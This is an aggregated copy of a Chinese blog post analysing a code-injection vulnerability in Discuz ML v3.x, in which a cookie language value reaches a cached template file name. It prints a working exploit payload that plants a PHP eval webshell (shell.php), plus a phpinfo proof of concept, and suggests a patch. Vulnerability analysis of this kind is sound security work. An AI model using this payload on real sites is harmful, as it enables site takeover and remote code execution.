

Discuz Ml v3.x 代码执行分析
source link: https://y4er.com/post/discuz-ml-exec-code/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

Discuz Ml v3.x 代码执行分析
2019-07-11昨天晚上Discuz Ml爆出了漏洞,今天来分析一波。
修改Cookie中的xxxx_language字段为以下内容即可
%27.+file_put_contents%28%27shell.php%27%2Curldecode%28%27%253c%253fphp+%2520eval%28%2524_%2547%2545%2554%255b%2522a1%2522%255d%29%253b%253f%253e%27%29%29.%27
访问网站首页则会在根目录下生成木马文件,shell.php 密码为a1
定位漏洞位置
解码exp
'.+file_put_contents('shell.php',urldecode('<?php+ eval($_GET["a1"]);?>')).'
修改exp为_language=1.1.1;
使其报错。
定位到653行
关键代码644行
$cachefile = './data/template/'.DISCUZ_LANG.'_'.(defined('STYLEID') ? STYLEID.'_' : '_').$templateid.'_'.str_replace('/', '_', $file).'.tpl.php';
cachefile
变量是缓存文件,将其写入到/data/template/
目录下,并且由DISCUZ_LANG
拼接,追踪下DISCUZ_LANG
的值
2088-2096行
global $_G;
if($_G['config']['output']['language'] == 'zh_cn') {
return 'SC_UTF8';
} elseif ($_G['config']['output']['language'] == 'zh_tw') {
return 'TC_UTF8';
} else {
//vot !!!! ToDo: Check this for other languages !!!!!!!!!!!!!!!!!!!!!
/*vot*/ return strtoupper(DISCUZ_LANG) . '_UTF8';
}
可以看到$_G['config']['output']['language']
作为DISCUZ_LANG
的值
全局搜索['language']
source/class/discuz/discuz_application.php 305行,发现是从cookie中拿到language的值
那么到这里整个漏洞的流程就很明显了,cookie中language
参数可控导致DISCUZ_LANG
可控,从而导致cachefile
的文件名可被注入代码,最终include_once
包含一下导致了造成代码执行。
phpinfo验证
Ov1T_2132_language='.phpinfo().';
截止到本文发布之前,补丁还没有出来。
建议修改source/function/function_core.php 644行为
/*vot*/ $cachefile = './data/template/'.'sc'.'_'.(defined('STYLEID') ? STYLEID.'_' : '_').$templateid.'_'.str_replace('/', '_', $file).'.tpl.php';
删除可控变量
其实从漏洞点的注释上来看就知道这是一个未完成的部分,毕竟还是TODO
,开发人员得背锅。不过我怎么没有这种好运气呢,呜呜呜😭
Recommend
-
48
使用httpd-2.2(在CentOS6中)配置部署Discuz!论坛系统、wordpress博客系统和phpMyAdmin应用程序
-
12
Discuz! X系列远程代码执行漏洞分析 tang3
-
55
修改NodeBB的注册登陆方式为Discuz的注册登陆方式,以及迁移Discuz的数据到NodeBB中。
-
49
首先附上米斯特安全大佬们文章的 链接 ,刚开始有些东西我没看的太懂,于是我就再添了点东西,希望像我一样的小白也能看懂。 一、漏洞综述 漏...
-
39
LAMP平台概述目前最为成熟的一种企业网站应用模式,可提供动态Web站点应用及开发环境构成组件Linux、Apache、MySQL、PHP/Perl/PythonLAMP的优势成本低廉可定制、易于开发方便易用,安全和稳定一,在Windows上将LAMP所需压缩软件包共享出来(此处如有问题请看之前的...
-
26
-
43
PHP - @luguiyao - 先说说 5D6D 实现了哪些功能,解决了哪些需求吧1.5D6D 注册后自动生成 discuz 论坛,解决了部署方便快捷的需求;2.5D6D 生成的论坛核心程序是同一个,并不会同样的
-
25
-
10
Discuz v3.4 排行页面存储型XSS漏洞分析 ...
-
4
Discuz ML V3.x 代码注入漏洞详细分析 发表于 2019-07-13...
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK